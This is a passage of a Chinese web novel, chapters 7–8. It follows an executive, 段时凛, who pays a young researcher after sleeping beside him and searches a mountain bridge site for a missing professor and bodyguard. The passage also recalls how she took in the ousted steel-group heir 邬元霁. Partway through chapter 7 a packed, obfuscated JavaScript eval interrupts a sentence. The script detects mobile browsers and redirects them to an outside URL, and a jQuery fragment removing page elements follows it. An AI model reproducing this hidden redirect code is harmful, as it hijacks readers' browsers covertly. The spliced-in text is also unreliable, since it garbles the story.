《不识好歹[男二上位]》 7.没有感情,全是交易 文衍情额心直跳,抱着段时凛的手忘了收回,整个人都愣住了。 他张了张嘴,正在思索该说些什么来解释的时候,段时凛自己推开他坐了起来,淡定地整理了下衣襟,并第一时间拿起床头柜子上的手机检查一番。 手机屏幕显示,现在是2012年12月5号上午6:07分。 已经是第二天早上了? 段时凛抬头,看了看被窗帘紧紧围挡住的窗户。 为了确保不受打扰正常休息,她睡觉时会将窗帘拉上,隔挡阳光,同时也是为了防止有狙击手埋伏暗杀。 但床头柜会亮一小盏灯。 现在屋内不算黑,床头灯的色调是暖的,不会刺的人眼睛生疼。 没想到这一觉能睡这么久,虽然依旧是做了噩梦,但中间没有惊醒。 段时凛敛了敛眸。 她习惯性检查了一下手机,没有翻动过的痕迹,也没有额外植入什么追踪器。 看来这个文衍情真的老老实实陪她睡了一天一夜。 段时凛低头看了看自己摊开的手掌,手脚是暖和的,没有出现以往的麻痹和酸痛感。 这一天一夜过得十分平静,什么也没有发生。 但她不确定这段时间睡着的自己有没有在文衍情面前说过什么不该说的,或者是做了不该做的。 “跟我待一起这么长时间,很煎熬吧?”段时凛故作不经意随口问道。 文衍情惊了一下,随即反应过来,段时凛似乎并没发现自己偷亲她的事,一股意外的惊喜涌上心头。 他没想那么多,直接就解释说:“没有没有,段总您睡觉很安静,基本就没有动过。而且我躺着,中间也睡了好久。” 汪绥在路上介绍过她,上次给的那张名片上也有她的身份信息,所以文衍情对段时凛的态度充满了尊敬,不敢逾矩。 女子一言不发地盯着他看了好一会儿,这才收回视线。 原本她还挺担心自己会说梦话,毕竟这半年来她总是做噩梦,精神绷的很紧,人在这种状态下容易控制不住自己的一些举动。 但现在看到文衍情的表情,段时凛可以确定,他没撒谎,自己的睡相还是跟以前一样安分。 也就大前天的晚上喝多了酒没控制住,这才做出了荒唐事。 段时凛给司机打了个电话,然后下床,从衣架上的外套里取出了一个条形小本和一支笔。 文衍情有点近视,但距离不远,能看清楚她手里拿的是支票。 段时凛又跟上次一样,写了张支票给他。 “这次辛苦你了,支票是报酬的一部分,你还想要什么,尽管开口。” 她将填好了的支票放在床上,数额比上次更大。 文衍情光裸着上半身坐起来,抱住被子将自己勉强盖住。 他扫了一眼支票上的金额便移开了目光,表情有些失落。 两人之间的氛围有点像一夜情男女,没有感情,全是交易,这让文衍情感觉很难过。 “我不想要支票。”他说出了跟第一次一样的话。 听到这,段时凛转过身来,目光平静地看着他。 她身上穿的还是那套睡衣,汪绥走之前帮她准备了新的衣服,就挂在衣柜里。 “那你说说,这次想要什么?”段时凛看着他。 上次自己喝醉酒轻薄了他,将人亲了摸了拽进房间里拉着睡了一晚上,吃了这么大的亏,第二天起来文衍情却说不要支票,就要一张她的名片。 这次她将人带过来,直接锁在身边睡了一天一夜,给支票做补偿,这家伙还是不要。 段时凛对这男人来了兴趣。 她调查过,文衍情出身于安祁市一个富商家庭,小时候被拐卖过三年,后来才回到文家,不过从那之后精神就有了点问题。爹妈生了小儿子后,直接对他开启了放养模式。 说白了,他就是一个被废弃的继承人。 如今,文衍情进入化工院工作,在化工院附近的一个老小区买了套公寓,不大,够他一个人生活,每天骑着电动车上班,出行和装扮都十分朴素,完全看不出来是富少的样子。 不过看他这略显寒酸的衣着,想来家里应该没给多少经济支持,按理说文衍情不会拒绝支票。 至于他有没有精神病,段时凛暂时没看出来。 这两次的接触,文衍情表现得跟正常人无异,完全没有精神病那种不稳定性。 第一次拒绝支票,可以说他高雅,好面子。 第二次加了钱还是拒绝,段时凛倒是觉出蹊跷了。 这意味着文衍情不缺钱,又或者,他需要的东西,价值要远超这十几万的支票。 文衍情智商很高,从他本硕博连读还有学术论文研究上就能看出来,至于情商嘛……段时凛观察下来发现,一般般。 也可能是她接触的时间比较短的缘故,所以没发现这人的真面目。 但此刻,段时凛已经对他接近自己的目的起了疑心。 文衍情耷拉着耳朵,很没底气地面对着段时凛。 “您可以……”他抿了抿唇,想了一会儿才开口道:“让我的电话号码存在您的手机里吗?” 段时凛眸色一动:“就这?” 跟第一次一样令人意外的要求,不要支票,就要他存一下自己的号码。 这可真是个怪人。 段时凛表情沉了沉。 这些年来,在政商两界游走吃亏的经历让她变得谨慎且多疑,为了自身的安危,她习惯性猜忌每一个靠上来的人。 这个文衍情十分可疑。 段时凛捉摸不透他的心思,对他的警备也没消下去半分。 文衍情点了点头,似是斟酌了好久才敢开口说:“……只需要存一下我的号码和名字在您的通讯簿里就行了。” 十分简单的要求。 对段时凛来说,这完全就不算个事。 “其他的呢?”她问:“不要支票,我还可以给你别的,玉器,古玩,珠宝,或者,投资一下你们化工院的项目也不是不行。” 文衍情眼睫微垂,声音很轻:“不用了,只存个号码就可以了。” 见他这么要求,段时凛也不再继续追问,依着他的想法来,将他的电话号码存进了通讯录里。 “你的脸还疼不疼?”存完,段时凛收起手机,转而进了换衣间,打开衣柜,一边拿换取的衣物,一边随口问道。 过了三天,又用了药膏,文衍情脸上的巴掌印已经消了下去,几乎看不出来什么痕迹了。 “谢谢段总关心,已经好了,不疼了。”文衍情礼貌地回答说。 段时凛路过,偏头看了男人一眼,发现果然如他所说,脸上光滑白皙,没留下印子。 “我要去上班,这个房间的房费会挂在我名下,你可以继续睡,什么时候退都行。通过座机电话呼唤前台,新的衣服和早餐会在十分钟内送过来。” 段时凛洗漱完,在换衣间换好了衣服。 她面无表情地对文衍情说道:“如果你要去化工院,我的司机会送你。” 文衍情直勾勾地望着整理好衣襟的段时凛。 她今天穿了件黑色高领棉衫,头发用一个夹子简单挽了起来,露出了修长白净的脖颈。 睡满了二十四小时,段时凛的精神也好了很多,眼睑下的乌青淡了薄薄一层,眼神依旧是冷凉薄情,但好在没那么阴沉乏力了。 没听到他的回答,段时凛不由得抬头看了过去,结果就发现文衍情正失神地注视着她,像是在发呆。 她冷声叫出了男人的名字:“文衍情,你有听到我说话吗?” “啊……啊,听到了!”男人慌里慌张地别开目光,有些尴尬地揪了揪被子:“谢谢您,段总。” 段时凛没什么情绪地说:“是我谢谢你,昨天,我睡的很好。” 今早起来,身上那种疲惫感和焦灼感都一扫而空,脑子也清醒了很多,以这样的状态去公司,应该不会再出问题了。 文衍情很不好意思地低下了头:“能帮到您就好。” 段时凛没有过多停留,直接拿上东西走了。 门被关上。 文衍情呆呆地坐在床上,手边的床单还残存着段时凛的体温。 接到电话,司机老陆就已经赶到了维斯利尔酒店门口。 看到段时凛走出来,女人立即打开了后车门。 “董事长,是回甸林港还是去公司?” 段时凛看了眼手机上的时间:“去顺宁中桥。” 陆霖应下:“是。” 一个小时后,车子抵达嘉铜区的某个小镇,周围到处都是山峦,一抬头就能看到半山腰架起的十几根几十米高的巨型墩柱结实地插进山峰里,一条横贯天堑的高架桥明晃晃地盘绕在山间。 此地位于顺宁沟,处于溪川高架桥路段中间位置,在官方文件里被命名为K135+200 顺宁中桥。又因连接麟化乡和宝繁乡两个乡镇,所以被路过的当地人习惯性称为麟宝高速。 车子在一条山间公路上停下,这里依山傍水,能清楚地看到三十米开外的高架桥桥墩环绕在树林间,不需要爬上山腰就能近距离接触到。 陆霖打开门,段时凛套上外套下车,缓步走向了前方。 这里是一片荒了的河道,宽度长达四十米,地面全是大大小小的鹅卵石,周遭满是落了雪的树林,洁白一片。 头顶阴云避日,宽厚阔大的高架桥像是一条绸缎,横在头顶,隔绝了阳光、雨水和雪花,因此,桥下的空间要比外面的地段干净和干燥。 地面非常滑,段时凛走的很小心,但步伐稳健熟练。 她不是第一次来这里了。 半年前,她派去保护郗美央的贴身保镖邬元霁身上的定位器最后发出信号的位置就是这里,但具体方位并不清楚,信号源的范围很大,误差有几十米,无法准确定位。 那时这里的高架桥正建设得如火如荼,到处都是大型设备和工人还有运输材料的货车,人来人往,忙碌且混乱。 因为工作原因,郗美央经常去各个建设路段巡查情况,但她失踪的时候,最后出现过的地方是京城公路规划设计院,也就是她工作的地方。 一夜过后,郗美央人间蒸发,连同陪在她身边的邬元霁也消失不见。 得知此事的段时凛立即着手调查,但将设计院翻了个底朝天也没发现任何踪迹。 就在众人一筹莫展之际,邬元霁身上的定位器传来了微弱的信号,定位显示就在顺宁中桥附近。 信号只亮了一次,而后再没了反应。 段时凛立马和警察带着人来顺宁中桥附近信号出现过的地方,将方圆几公里的地方找了好几遍,没有任何发现。 顺宁中桥处于深山之中,高架桥还未建设完成那会儿,监控设备也没装备完善,监控摄像无从查起,只能挨个询问现场工人。 当时在这里工作的工人都一致表示没见到郗美央教授来过。 设计院跟麟宝高速之间相距一百多公里,郗美央失踪的当天,警方排查了她的车,但车子一直稳稳当当停在设计院的地下停车场,没有动过。 然后警方又调查了这段路上的所有高速路口和监控,也没有发现异样。 这令人感到匪夷所思。 警方不禁怀疑起那个定位器的准确性,但段时凛出具了其开发公司的后台监测数据,证明了信号确实出现过,但因为技术原因,只能将地域大致锁定在顺宁中桥附近,也就是这个山谷。 麟宝高速建成前后,墩柱附近经常有上山砍柴和牧羊的居民在此活动,这一片也被踏出了一条路,周遭布满了人类和动物活动的痕迹,这给之后警方的调查带来了难度,因此调查进度停滞不前。 但不论来多少次地毯式搜寻,就连警犬也派了出来,结果都是一无所获。 他们什么都查不到。 段时凛怀疑是邬元霁的追踪器掉在了这里,亦或者是他经过了这儿,但就是找不到追踪器,也找不到他活动过的踪迹。 郗美央失踪的事引起了上层的高度重视。 除了京城公路规划设计院高级工程师的身份,郗美央还是京城大学机械交通工程系教授,同时也是京城大学常务副书记,身兼要职,师德高良,桃李满天下。 但持续半年的高强度调查没有任何进展,警方没有更多更有效的线索,这事渐渐就平息了下来。 直到现在,只有段时凛偶尔会来到这里,前前后后四处探寻,一点点尝试感受信号源,希望能再次发现定位器的信号。 陆霖合上车门,就看到段时凛站在墩柱下,望着空无一人的河道发呆。 今天的雪停了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617908|186356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但温度没有降下去,地面凝结了一层冰霜,还有堆积起来的雪。 山上的冰雪比市区积的要多,一脚踩下去,雪堆就被踩出了一个黑浅的坑。 这里人迹罕至,距离城镇有点距离,但布满了生物活动的脚印,有人,有羊,有狗,也有野猪。 段时凛撑靠在一根水泥墩柱上休息。 转了这么久,她身上发热,后背出了一层薄汗。 这里跟半年前第一次来的时候没什么区别。 半年前,六月份,正是春夏交接之际,气温开始升高,但京城却在那时罕见地飘了一场大雪。 六月飞雪,这在华邦人的认知里不算是个好兆头。 后来官方给出了解释,因为寒流入侵,全球多地都出现了夏季降雪的情况。虽然少见,但属于真实存在的自然现象。 段时凛却对此感到一阵不安。 下雪当天,正是郗美央失踪的第二天,也是段时凛失眠的第二天。 这一趟还是没有任何发现。 段时凛的手机里装有定位软件,能清晰看到装有定位器的人的位置,除非设备损坏,不然一般情况下,距离越近,信号就越强烈稳定,只是可惜邬元霁的信号源再没有传来。 这半年里,段时凛不止一次来这里,脚下的每一片土地她都走过,就连山上的树林也进去过多次。 如果邬元霁曾经来过这儿,那为什么不联系她? 他跟郗美央教授到底发生了什么…… 段时凛盯着地上的石头想得出神。 曾经有人怀疑过邬元霁是背叛她跑了。 作为段时凛的贴身保镖,邬元霁知道太多她的核心秘密。 但段时凛清楚,邬元霁是这个世上唯一不会背叛她的人。 她23岁那年起,邬元霁就跟在她身边做事了,到现在足足八年了,两人的关系也早已不是普通的雇主和保镖那么简单。 23岁那年,段时凛遭遇了人生的第二次滑铁卢——合伙人卷款跑路,公司宣告破产。 那时的公司刚成立五年,名字也不叫正霆,叫众威,一个不过几百人的中等规模的公司,生意蒸蒸日上,即将迎来上市之际,段时凛的两位重要合伙人密谋在了一起,最后卷走了全部的钱远走海外。 一夜之间,段时凛从炙手可热的商界新贵的位置上摔下来,成了债台高筑的过街老鼠。 为了躲避债主,段时凛只能卖了别墅和车子,和尹修一起搬进了没有暖气、没有窗户的地下室,一待就是半年。 邬元霁就是那时候出现的。 他是段时凛出门买早餐的时候遇到的。 准确来说,是捡到的。 那会儿的邬元霁19岁,无家可归,饿昏在路边,大冬天的,差点冻死在路上,是段时凛将人掐醒,又把自己的早餐——两个肉包子丢给他,邬元霁狼吞虎咽地吃完,整个人宛如一个小流浪汉。 本以为是萍水相逢,举手之劳,结果邬元霁就跟上她了,段时凛去哪儿,他也去哪儿。 段时凛去码头和卖钢材的老板谈合作,邬元霁就跟个阴魂不散的鬼一样跟在她边上。 段时凛身上没钱,公司一倒也就没有了依仗,但是会忽悠人,她能把生意做那么大,全靠她那过硬的心理素质和精明的伪装,哄的人一愣一愣的,创业初期,段时凛就是这样拿下销售代理权赚到人生第一桶金的。 但这次这个码头的老板不好哄弄,见她是个年轻小姑娘,就起了猥琐心思,手脚不老实地开始占便宜。 段时凛见他没有做生意的意思,直接就准备撤了,结果这家伙却冒犯越线,这可触到了她的逆鳞,她从来不会惯着这种败类。 正当她刚拍掉男人的手,准备一拳轰过去时,一旁沉默半天的邬元霁突然跳了出来,一脚把男人给踹到了海里。 码头顿时骚动起来,无数工人闻声看向两人。 掉在海里的男老板会游泳,抓着木桩扑腾着大喊:“把他们俩给我抓起来!” 眼见事态不对,段时凛赶紧拉着邬元霁跑了,一路跑回家,五六公里的路,两人跑的满头大汗,确保没人追上来,这才瘫坐在单元楼下的楼梯里喘气。 “对不起。”邬元霁率先道歉,他抹了把脸上的汗,表情苍白惶恐:“我是不是……给你惹麻烦了?” 他当时没想那么多,就是看那狗屎要欺负段时凛,一时没忍住就踹了过去。 段时凛也满头是汗地靠坐在墙上,表情淡漠,因为没吃早饭,她嘴唇有些发白。 “是,你惹了好大的麻烦。”段时凛语气听不出来情绪好坏,这让邬元霁无端感到紧张。 但紧接着,段时凛又说:“不过,就算你没打他,我也会动手,到头来还是一样。” 邬元霁怯怯地看向她。 段时凛已经大学毕业了,是个早早就步入了社会的成年人,而邬元霁还只是刚成年,稚气未脱,心性跟她相比,差的不是一点半点。 段时凛没有要怪他的意思,这让邬元霁紧绷的神经缓和了一些。 东码头的生意没法做了,段时凛准备去别的地方碰碰运气。 邬元霁还想跟着她,却被段时凛无情拒绝。 刚才他在边上就已经很影响她发挥了,而且他们刚认识不到半个小时,突然这么亲密的靠近让段时凛很不舒服。 四个月前,她才经历被合伙人背刺,愿意将早餐都给邬元霁只是出于救人的考虑,但这并不代表段时凛是个老好人。 她现在是破产负债的状态,公司已经被查处了,尹修还在读研,他们俩只能每天吃一顿晚饭,那俩肉包子还是段时凛昨天帮卖早点的阿婆推车,人家早上开张遇见她了才好心送了两个。 段时凛本打算留着跟尹修一人一个晚上吃,结果不仅她没吃上,就连尹修那份也一起进了邬元霁的肚子里。 现在她必须得再去搞点钱来,两人好久都没吃过肉了,尹修昨晚还因为低血糖晕倒了,段时凛急得不行,哪有功夫再去顾一个外人。 等到她晚上忙完回到家,邬元霁竟然还在楼道里缩着,看到段时凛回来,少男畏畏缩缩的,不敢上前靠近。 段时凛手里拿着从菜市场捡回来的没人要的青菜和红辣椒,手里还拎着一小挂五花肉,看的邬元霁口水直咽。 段时凛装作没看到的样子,径直拎了东西进屋。 8.邬元霁(含1K营养液加更章) 尹修已经回来了。 原本他可以直接住宿舍。从段时凛创业开始,两人就一直住在一起。 大一那年暑假,尹修的母亲重病去世,从此尹修就和段时凛相依为命。 段时凛事业上遭遇大危机,为了躲债必须得藏起来,尹修不放心她一个人在外面住,学校四人间的男生宿舍也不能带女生进去,所以尹修就跟着她从大别墅搬了出来,住到了这小小的地下室。 段时凛每天都在忙着拉投资搞钱,想尽快翻盘再起,又得时刻提防着被债主认出来,因此行动总是很紧凑,日晒雨淋,十分辛苦,尹修就主动承担了做饭和家务。 白天,他在学校跟着导师做课题,下午放学了就会回来家里给段时凛做饭。吃完饭洗完碗,他又背着书包去了学校,一直到晚上课程结束才回家。 今晚他回来得早,正准备做饭,就听到有人开门,回头一瞧,段时凛提着菜和肉进来,将食材放在了门口的案板上。 “不用吃剩菜了,”段时凛淡漠的语气里是藏不住的开心:“今晚吃肉。” 尹修意外地看着她,好奇段时凛是怎么弄到肉的。 “运气好,”段时凛说的简单:“捡到几捆电线,剥了皮,卖完里面的铜线得了点钱。” 她洗了洗手,对尹修说:“你想吃什么,直接做就行。” 尹修看到段时凛瘦了一大圈的脸,心口发紧:“肉丝面吧,刚好有青菜和辣椒,我炒一下,入味。” “行。”段时凛喝了口水,然后将口袋里的零钱拿出来:“卖铜线剩下还有二十三块钱,这二十你拿着,这几天我可能有点忙,中午和晚上你就在学校食堂吃,不用回来做饭了。” 她不是这几天忙,是从破产以后一直都在忙,每天一出去就是十几个小时,晚上才回家。 尹修没接,专注处理案板上的肉:“你不是投资需要钱吗,一分一厘都得攒起来,而且导师每个月也发的有补贴,我在学校都吃了。” 段时凛哪能不清楚他中午吃没吃,导师给的那点补贴尹修都拿来给她创业用了,在学校从来就没舍得吃过东西。 她摸了摸尹修的腰:“你本来消化能力就差,吃的饭也不多,现在又跟着我挨饿,瘦的风一吹就能刮倒。既然有钱,就吃饱饭,没必要省那几个子天天就吃一顿。” 狭小的房间内响起尹修切肉的声音:“我中午不想吃饭。” 段时凛一眼就看出来他在胡说:“你早上都没吃,中午怎么会不想吃。” 她将钱放进尹修的裤子口袋里:“听我的,你昨晚都晕倒了。” 而后,段时凛又从口袋里摸出来几个大白兔奶糖放进尹修的另一个口袋:“低血糖头晕的时候就吃这个,我尝过了,很甜的。” 尹修没搭腔,闷着声开始洗青菜。 过了一会儿,他忽然想到了什么,说道:“你刚才回来的时候,一楼楼道是不是有个男的坐在那儿?” 段时凛一愣,原来尹修也注意到了邬元霁。 她点头:“是有,我早上的时候就看到他了,当时他饿晕在路边,早餐店的阿婆送了我俩包子,我就给他了,没想到他会一直坐在那儿。” 她没提码头发生的事,怕尹修担心。 尹修表情有些沉:“来历不明,你不要跟他走近了。” 万一是调查段时凛的仇家或者是债主就不好了。 段时凛:“放心。” 吃完饭,尹修把碗洗好就走了。 出门的时候他特意扭过头来看了一眼蹲坐在楼道里的邬元霁,被冻得瑟瑟发抖的少男蜷成一团,短暂地和尹修对视了一眼。 见他年纪还小,尹修就没有起疑心,背上书包骑着自行车就往学校赶。 天彻底黑了,楼道只有一盏很微弱的灯亮着,惨白的灯光与周围冰冷的温度融为一体,无尽的寒冷裹挟全身。 邬元霁将自己紧紧抱住,脑袋埋进手臂里。 好冷……好饿…… 从家里被赶出来开始,他已经四天都没吃饭了,早上要不是那位姐姐好心给了他两个肉包子,他今天估计能直接死在这里。 但这种好事也不可能天天都有,他们萍水相逢,说到底只是陌生人,而且看那姐姐的样子,生活似乎也碰到了困难。 他不能给人家添麻烦,不能打扰别人的生活。 可是…… 他真的好冷,好饿,好想哭…… 眼角缓缓淌下一行热泪,邬元霁感到体温在迅速流失。 “起来。” 突然,一道毫无感情的声音在头顶响起。 邬元霁浑身一颤,他僵硬地抬起头,楼道的灯光被一个欣长的人影所遮挡,面前投下一片阴影。 他偏了偏头,努力瞪大了眼睛,这才看清了来人的模样。 ——是早上给他包子的姐姐。 她手里端着一碗面条,里面还有剩下的肉丝和面汤,正散发着香气。 邬元霁愣愣地望着段时凛,然后那碗面就推到了他手里。 “快点吃完,我要回去洗碗。”女子平静道。 怔了片刻后,邬元霁顾不上说话,三两下将肉丝面全吃了进去,就连汤底都舔的干干净净。 段时凛将碗收了回去,要走的时候,邬元霁叫住她,怯声说道:“……姐姐,谢谢你。” 段时凛回头看了他一眼,然后转头离开。 不过没走两步,她就折返回来,站在邬元霁面前问道:“怎么不回家?” 邬元霁吸了吸鼻子,将自己抱得更紧。他穿了一件棉服,脚上的鞋子是牌子货,看上去质地不错,但是浑身脏兮兮的,蹭的全都是灰。 “我被赶出来了,回不了家……” 这话令段时凛眸色一动,她不禁多问了一句:“怎么回事?” 被问到这个,邬元霁一下子就哭了出来,一边抹眼泪一边说:“我爸妈去世了,小叔他们欺负我年纪小,就抢走了公司,还把我家也给霸占了,没有人听我的。堂哥他们还想杀我,我好不容易逃出来,不敢回去,回去了就没命了……” 他哭的眼泪鼻涕到处都是,痛诉的声音充满了悲伤,一下一下割在段时凛心上。 她莫名想到了自己的经历。 “你叫什么名字?” 邬元霁抽着气回答:“邬元霁。” 段时凛愣了一下,而后继续问道:“多少岁了?” 少男乖乖回答:“……19。” 段时凛看向他的眼神变了变。 果然,他是龙钢集团的少爷,最近被媒体热议的邬家继承人。 据悉,龙钢集团董事长邬鸿晖与妻子在上个月因车祸意外身亡,唯一的儿子邬元霁在葬礼结束后,因为过于悲痛,一时激动之下服用了大量安眠药在家中自杀身亡。 惨案发生后,邬鸿晖的弟弟邬其宽暂时接管了公司,并代为处理大哥的家事。 只是没想到,媒体口中已经自杀身亡的邬家少爷,竟然出现在了这里。 段时凛后背一凉,看来这豪门争夺果真腥风血雨,表象之下是人是鬼难以分辨。 不过…… 她眉头紧拧。 龙钢集团主要从事黑色金属冶炼和压延加工业,是京城赫赫有名的规模最大的钢铁企业集团。 众威还没倒闭的时候,段时凛就跟邬鸿晖夫妻俩打过交道,也合作过几次,她对这两位企业家有着不错的印象。 而且也是有那位邬董事长的引荐,她后来才结识了不少人脉和朋友。 因此上个月,在被债主追杀的风口浪尖上,段时凛抽空去了一趟邬鸿晖夫妻俩的葬礼。只不过是在晚上没人的时候去的,送了一束花,这事没人知道。 令人没想到的是,她竟然在家附近碰见了邬董事长的儿子,邬元霁。 瞧见对方可怜的模样,段时凛闭了闭眼,转身进了地下室,冷声道:“跟我来。” 邬元霁愣愣地坐了一会儿,才反应过来,段时凛是在让他跟着自己下去。 他赶紧手脚并用地从地上站起来,随着段时凛下去。 这是个老小区,没有电梯,地下室更是一点光都没有,离了门口楼道的那盏灯,这底下漆黑一片,邬元霁有些害怕,但心里莫名相信段时凛。 他不知道段时凛是如何在如此漆黑的环境下端着面条来找他的,心中顿时感动非常。 段时凛让邬元霁进屋坐了会儿,并给他倒了杯热水。 少男好奇地打量了一番这地方,发现实在小的可怜,只有一张床,一个很破的沙发,连柜子都没有,可屋内却收拾的干干净净,墙上还贴了很多废旧报纸和写满了数字的数据。 地下室没有窗户,没有暖气,人只要不活动就会立刻手脚发麻僵硬,邬元霁端着装了热水的碗,心里暖呼呼的。 他看到段时凛开始洗碗,洗他刚刚吃面的碗。 邬元霁感到不好意思,于是主动提出他来洗。 段时凛不用瞧都知道他这种少爷干不来这种活,所以没理,自己三两下就把锅跟碗都洗干净了。 等忙完,段时凛问道:“你晚上睡哪儿?” 邬元霁支支吾吾的,很不好意思:“前面那个垃圾站有很多废旧衣服,我就躺在里面睡了几天,但是昨晚有个流浪汉抢了我的位置,还打我……我没地方去了。” 段时凛盯着他思索了一会儿,没说话。 怪不得浑身这么脏。 现在邬元霁的情况她已经大致了解了,只是他是个人,不是小猫小狗,就算是小猫小狗她也不好处理,这地下室是她租的,那一张板床只能躺得下她跟尹修两个人。 这是他们俩的家,多一个人会很不方便。 邬元霁看出来她的顾虑,当即弱弱说道:“我就坐一会儿,一会儿就走,再去其他的垃圾站找找,应该有睡觉的地方。” 但他嘴上这么说,眼睛却是依依不舍地盯着段时凛,涉世未深的少年人内心的真实想法一览无遗。 段时凛扫了一眼他脏兮兮的衣服,没说话。 这会儿可是凛冬,最冷的时节,垃圾站就算能睡人,也难保不会被冻死。而且这地方的治安不太好,偷盗抢劫斗殴,什么都有,警方很难管理,所以她才租在这里躲避债主。 一时半会想不出来解决的办法,段时凛就只能坐在凳子上,拿出笔在墙上的报纸上写写画画。 邬元霁不知道她在干什么,生怕一会儿惹得段时凛厌烦了会被赶出去,所以一言不发地缩在原地。 段时凛将今天出去的调查结果和最近的新闻都写在上面,业内各大公司的近况,以及她目前欠的债额和各项计划。 这是她每天都要做的事,需要将最近的风声消息都记录下来,监视对手和债主们的动向,分析市场变化,同时清算她目前的负债状况。 当下,她的全部欠款为843万,当时因为事发突然,合伙人卷走了全部的钱,段时凛只能用私人账户给员工们结算工资和项目尾款,勉强是没有拖欠工资,但随着资金链断裂,所有项目被迫终止,违约金、赔偿款、以及耽误的人工费、设备费用,全都是一笔天价债款,段时凛的个人存款无力覆盖,只能躲起来。 银行和其他债券公司已经将她拉入了黑名单。 拿不到钱,那些激进的家伙就开始到处找她。 要是没躲好,段时凛连命都保不住。 03年的时局还是比较动荡的,虽然时代在飞速发展,但随之滋生的问题也有很多,各项规约都不够完善,不少人崇尚以武力解决问题,还有很多受到港片电影文化影响的青少年,街上经常能开到骑着摩托的混仔聚众闹事。 要么,段时凛就永远躲在这里,要么,就攒足资本逆风翻盘,不然只要她露面就会被干掉。 现在正是最紧张的时候,段时凛需要钱,需要资源,但虎落平阳被犬欺,她一栽跟头,那些个从前交好的朋友和合作伙伴就纷纷跟她划清了界限,并且毫不留情地踩在她身上往上爬,项目与资源被瓜分殆尽。 没有任何人会帮她,段时凛找遍了所有能联系上的人,但无一例外,对方都将她拒之门外。 只要有足够的钱,或者她能有个新的背景支撑复出,那么眼前的困境就能迎刃而解。 可问题是她现在不知道去哪儿找这种机缘,毕竟她的名声已经臭了,想再翻盘,难度不是一般的高。 段时凛想的入神…… 忽然,她转过身,目光在坐着的邬元霁身上打量了好一会儿。 邬元霁懵懵地眨眼,不懂段时凛的目光为何忽然让他有了一股毛骨悚然的感觉。 …… 晚上,尹修回来,发现屋内坐了一个陌生面孔的青年。 邬元霁与他面面相觑。 尹修下意识紧绷起来,然后通过邬元霁身上的衣服认出,这家伙就是今晚蹲在他们楼道的那个流浪汉。 男人表情一变,当即抡起门口的板凳就要上前动手,段时凛却忽然拦下了他。 说完了她的计划后,尹修半信半疑地抓着凳子,目光不善地在邬元霁身上看来看去。 当晚,邬元霁窝在沙发上,旁边的床上躺着尹修和段时凛,他拉紧了身上薄薄的棉被。 离家第四天,他第一次睡了个安稳的觉。 虽然是跟段时凛做了承诺交换来的。 刚成年的邬元霁不太清楚,为什么段时凛要找身无分文的他借九百万。说只要他答应,就让他在这住下,还给饭吃。 有吃的,有睡的,邬元霁觉得太划算了,于是毫不犹豫地答应了下来。 然后……段时凛就带着他杀回了邬家。 那段日子,段时凛永远不会忘记。 她冒着风险带邬元霁找到了邬鸿晖的私人律师和旧部属下。 在邬其宽召开新闻发布会宣布他将代理大哥的遗愿接管龙钢集团时,大众眼中已经自杀身亡的邬元霁忽然从人群中站了出来,一下子夺得了全场媒体的注意。 他手里拿着从公证处取出来的邬鸿晖早就写好的遗嘱,毫不留情地揭穿了小叔邬其宽的阴谋歹心。 在邬鸿晖旧部的支持下,邬元霁成功将集团的管控权夺了回来,并找到了邬其宽杀害父母的证据,将几人全都送进了监狱,一时成为热谈。 重回邬家后,邬元霁立刻按照承诺支付了给段时凛九百万用于偿还债款。 段时凛拿了钱就要走,全然没有任何留恋。 邬元霁没忍住抓住了她的手,问道:“你这就走了?” 这两个月,他和段时凛、尹修一起睡在那间小小的地下室,跟他们同吃同住,他的每一件衣服、每一顿饭,都是段时凛给的,一天二十四小时都是和段时凛一起度过。 自父母去世后,短短两个月,邬元霁的生活从云端坠入谷底,又被段时凛拎着飞回云端,从未有人这么对他。 少年人在这个懵懂的年纪最容易培养感情,两个月的亲密相处让邬元霁对段时凛产生了强烈的依赖。 段时凛改变了他的人生,也改变了他的三观,突然让他从段时凛身边离开,一个人回到冷冰冰的邬家,邬元霁难以适应。 他彻底离不开段时凛了。 段时凛拿到了最重要的资金,对他的态度依旧是从前那样冷漠。 “我最开始就说过了,只和你做交易,我帮你夺权,你借我钱,不包括别的。”段时凛平静地拍开他的手,语气里不含丝毫情绪:“如果还要帮忙,等我忙完再说,你借我的这点钱都不够付我薪水的。” 她本以为这样就会让邬元霁退缩,毕竟邬元霁这会儿才刚拿回权力,而邬家已经被邬其宽搅得一团糟,根本没剩多少可流动资金,这九百万还是他抵押了名下几间商铺从银行贷款给段时凛的,如果再加钱,他根本拿不出来。 谁料,邬元霁直接就说:“可以,你想要多少,都可以。” 段时凛一脸奇怪地看着这个小孩儿,“你到底要干什么?公司和家产你不是已经拿到了吗,还想要什么?” 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“我把邬家给你,”邬元霁攥紧了拳头,作出了一个惊人的决定:“我和你的合伙人不一样,我永远不会离开你。你想东山再起,从头开始不知道要多少年,那九百万短时间内根本解决不了你的问题,但如果你有了龙钢,那就不一样了。” 段时凛看了他一眼,邬元霁立刻抓住这个机会,语气一软就开始解释:“……我才19,干掉一个小叔,还有其他几位叔伯婶姨,爸妈的旧部虽然大部分都站在我这边,但我终归太年轻了,不够格。大家都想要这块肥肉,旧部的叔叔阿姨也只是看在父母的面子上才照顾我,没人关心我想要什么,也没人真的在乎我的死活。” 权力的诱惑下,没人能保持清醒,也没人能确保自己的人性不会扭曲。 “段姐,”邬元霁鼻头一酸,强忍着心口的失落说道:“算我求你,帮帮我,不要留下我一个人。” 段时凛沉默了。 邬元霁的做法,无疑是在向她敞开前程的大门。 两个包子的恩情,竟能让他做到这般境地。 而她当前所面临的问题,也确实不止是区区几百万就能解决的。 她要重新注册公司,招揽员工,在解决完之前的债务纠纷后才能重新起航,她先前积攒的那些资源和项目一夜之间溃堤而出,一切都要从头再来。 但要是有了龙钢,就等于说是不费吹灰之力就有了一个实力和规模都颇具成熟的大盘公司,日后要是再想发展新的领域项目,就算是二次上市也都要容易得多。 